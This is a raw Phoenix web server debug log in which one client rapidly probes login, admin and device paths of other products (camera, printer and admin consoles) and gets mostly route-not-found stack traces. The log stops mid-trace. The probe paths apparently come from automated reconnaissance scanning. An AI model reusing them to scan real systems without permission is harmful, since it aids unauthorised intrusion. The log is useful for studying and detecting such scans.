[Thu Sep  3 07:47:19.260000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49362] ** (Phoenix.Router.NoRouteError) no route found for GET /dms2/Login.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:19.882000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49374] GET /login
[Thu Sep  3 07:47:19.899000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49374] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:20.695000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49386] GET /home.htm
[Thu Sep  3 07:47:20.737000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49386] ** (Phoenix.Router.NoRouteError) no route found for GET /home.htm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:21.357000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49392] GET /sws/data/sws_data.js
[Thu Sep  3 07:47:21.377000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49392] ** (Phoenix.Router.NoRouteError) no route found for GET /sws/data/sws_data.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:22.020000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49406] GET /wcd/system.xml
[Thu Sep  3 07:47:22.040000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49406] ** (Phoenix.Router.NoRouteError) no route found for GET /wcd/system.xml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:22.688000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49422] GET /js/Device.js
[Thu Sep  3 07:47:22.710000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49422] ** (Phoenix.Router.NoRouteError) no route found for GET /js/Device.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:23.368000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46954] GET /ptz.htm
[Thu Sep  3 07:47:23.405000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46954] ** (Phoenix.Router.NoRouteError) no route found for GET /ptz.htm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:24.029000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46958] GET /admin/login.jsp
[Thu Sep  3 07:47:24.055000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46958] ** (Phoenix.Router.NoRouteError) no route found for GET /admin/login.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:24.082000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46986] GET //
[Thu Sep  3 07:47:24.082000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:46986] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:47:24.083000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46986] Sent 200 in 866µs
[Thu Sep  3 07:47:24.749000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46994] GET /loginMsg.js
[Thu Sep  3 07:47:24.772000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46994] ** (Phoenix.Router.NoRouteError) no route found for GET /loginMsg.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:25.126000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46970] GET /intruvert/jsp/admin/Login.jsp
[Thu Sep  3 07:47:25.143000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46970] ** (Phoenix.Router.NoRouteError) no route found for GET /intruvert/jsp/admin/Login.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:33.088000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46998] GET /commoncgi/servlet/CCGIServlet
[Thu Sep  3 07:47:33.111000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46998] ** (Phoenix.Router.NoRouteError) no route found for GET /commoncgi/servlet/CCGIServlet (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:35.857000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53844] GET /xmldata
[Thu Sep  3 07:47:35.892000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53844] ** (Phoenix.Router.NoRouteError) no route found for GET /xmldata (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:36.564000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53854] GET /upnp/BasicDevice.xml
[Thu Sep  3 07:47:36.582000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53854] ** (Phoenix.Router.NoRouteError) no route found for GET /upnp/BasicDevice.xml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:37.192000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53864] GET /
[Thu Sep  3 07:47:37.192000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:53864] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:47:37.193000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53864] Sent 200 in 815µs
[Thu Sep  3 07:47:41.704000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53868] GET /
[Thu Sep  3 07:47:41.704000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:53868] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:47:41.705000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53868] Sent 200 in 1ms
[Thu Sep  3 07:47:49.193000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46414] GET /MSWSMTP/Common/Authentication/Logon.aspx
[Thu Sep  3 07:47:49.257000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46414] ** (Phoenix.Router.NoRouteError) no route found for GET /MSWSMTP/Common/Authentication/Logon.aspx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:48:12.359000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44366] GET /favicon2.iso
[Thu Sep  3 07:48:12.381000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:44366] ** (Phoenix.Router.NoRouteError) no route found for GET /favicon2.iso (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:48:14.032000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44372] GET /favicon.iso
[Thu Sep  3 07:48:14.068000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:44372] ** (Phoenix.Router.NoRouteError) no route found for GET /favicon.iso (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
